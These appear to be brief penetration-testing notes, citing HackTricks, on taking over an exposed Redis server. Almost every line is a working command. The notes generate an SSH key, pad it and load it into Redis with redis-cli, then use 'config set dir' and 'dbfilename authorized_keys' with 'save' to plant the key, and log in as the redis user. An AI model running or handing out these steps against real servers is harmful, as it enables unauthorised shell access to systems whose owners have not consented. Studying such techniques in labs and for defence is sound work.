6379 REDIS

6379 - Pentesting Redis - HackTricksbook.hacktricks.xyz

writing ssh key

1. Write a public-private key pair

ssh-keygen 

1. Modify the public key

(echo -e "\n\n"; cat key.pub; echo -e "\n\n") > new_key.txt

1. Importing the SSH key

cat new_key.txt | redis-cli -h 10.85.0.52 -x set new_key.txt

1. Save the public key in authorized keys

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK

1. ssh into system as redis user

ssh -i ~/key redis@10.10.10.10